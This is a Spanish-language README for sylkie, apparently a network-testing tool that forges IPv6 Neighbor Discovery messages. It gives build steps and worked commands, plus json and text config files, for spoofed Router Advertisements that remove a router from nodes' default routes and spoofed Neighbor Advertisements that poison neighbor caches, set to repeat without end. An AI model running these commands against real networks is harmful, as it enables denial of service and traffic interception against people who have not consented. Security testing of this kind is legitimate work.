
Spoofing de direcciones IPv6 con el Protocolo de Descubrimiento de Vecinos
sylkieUna herramienta de línea de comandos y una biblioteca para probar redes en busca de vulnerabilidades comunes de suplantación de direcciones en redes IPv6 utilizando el Protocolo de Descubrimiento de Vecinos.
Nota: Este proyecto aún se encuentra en las primeras fases de desarrollo. Si encuentras algún problema, considera enviar un issue. Actualmente solo se ejecuta en Linux.
Consulta La Wiki para más detalles.
¡Obtén el código y compílalo!
# Get the code
git clone https://github.com/dlrobertson/sylkie
cd ./sylkie
# Compile the code
mkdir -p ./build
cd ./build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
make install
A continuación se describe el uso básico de sylkie. Ejecuta sylkie -h o sylkie <subcommand> -h para más detalles o consulta Uso avanzado para más ejemplos.
Nota: sylkie utiliza raw sockets para enviar los anuncios falsificados. Como resultado, el ejecutable debe tener el bit setuid configurado, o debe ejecutarse como root.
El uso básico del comando router-advert se muestra a continuación. Este comando enviará un mensaje de Anuncio de Enrutador a la IP dada o a la dirección multicast de todos los nodos, causando que los nodos objetivo eliminen <router-ip>/<prefix> de su lista de rutas predeterminadas.
sylkie ra -i <interface> \
--target-mac <mac of router> \
--router-ip <ip of router> \
--prefix <router prefix> \
--timeout <time between adverts> \
--repeat <number of times to send the request>
Un ejemplo básico.
sylkie ra -i ens3 \
--target-mac 52:54:00:e3:f4:06 \
--router-ip fe80::b95b:ee1:cafe:9720 \
--prefix 64 \
--repeat -1 \
--timeout 10
Esto enviaría un Anuncio de Enrutador "falsificado" a la dirección de todos los nodos del ámbito local de enlace ff02::1, causando que todos los nodos eliminen fe80::b95b:ee1:cafe:9720/64 (dirección de capa de enlace 52:54:00:e3:f4:06) de su lista de rutas predeterminadas.
El uso básico del comando neighbor advert de sylkie se muestra a continuación. Este comando enviará un mensaje falsificado de Anuncio de Vecino a la IP dada.
sylkie na -i <interface> \
--dst-mac <dest hw addr> \
--src-ip <source ip> \
--dst-ip <dest ip address> \
--target-ip <target ip address> \
--target-mac <target mac address> \
--timeout <time betweeen adverts> \
--repeat <number of times to send the request>
Un ejemplo básico
sylkie na -i ens3 \
--dst-mac 52:54:00:e3:f4:06 \
--src-ip fe80::61ad:fda3:3032:f6f4 \
--dst-ip fe80::b95b:ee1:cafe:9720 \
--target-ip fe80::61ad:fda3:3032:f6f4 \
--target-mac 52:54:00:c2:a7:7c \
--repeat -1 \
--timeout 3
Esto enviaría un mensaje de Anuncio de Vecino "falsificado" a dst-ip (fe80::b95b:ee1:cafe:9720), causando que la dirección de hardware en la caché de vecinos para target-ip (fe80::61ad:fda3:3032:f6f4) se actualice a target-mac (52:54:00:c2:a7:7c).
Los comandos anteriores requieren bastante información. Para facilitar las cosas, sylkie también acepta archivos json y de texto plano que contienen la información necesaria para comenzar a enviar los anuncios falsificados.
El subcomando (router-advert, neighbor-advert) es una clave cuyo valor es un array de objetos con las claves y valores siendo la opción y valor correspondientes. Para ejecutar el comando, pasa la ruta al archivo json como argumento a la opción -j.
Para ejecutar el ejemplo de router-advert proporcionado anteriormente desde json, primero crea un archivo con lo siguiente.
{
"router-advert": [
{
"interface": "ens3",
"target-mac": "52:54:00:e3:f4:06",
"router-ip": "fe80::b95b:ee1:cafe:9720",
"prefix": 64,
"repeat": -1,
"timeout": 10
}
]
}
Después de crear el archivo, comienza a enviar anuncios con lo siguiente.
sylkie -j /path/to/json
Cada línea del archivo debe ser exactamente lo que proporcionarías a través de la línea de comandos sin el comando sylkie.
Para ejecutar el ejemplo de neighbor-advert proporcionado anteriormente desde json, primero crea un archivo con lo siguiente.
na -i ens3 --dst-mac 52:54:00:e3:f4:06 --src-ip fe80::61ad:fda3:3032:f6f4 --dst-ip fe80::b95b:ee1:cafe:9720 --target-ip fe80::61ad:fda3:3032:f6f4 --target-mac 52:54:00:c2:a7:7c --repeat -1 --timeout 3
Después de crear el archivo, comienza a enviar los anuncios con
sylkie -x /path/to/file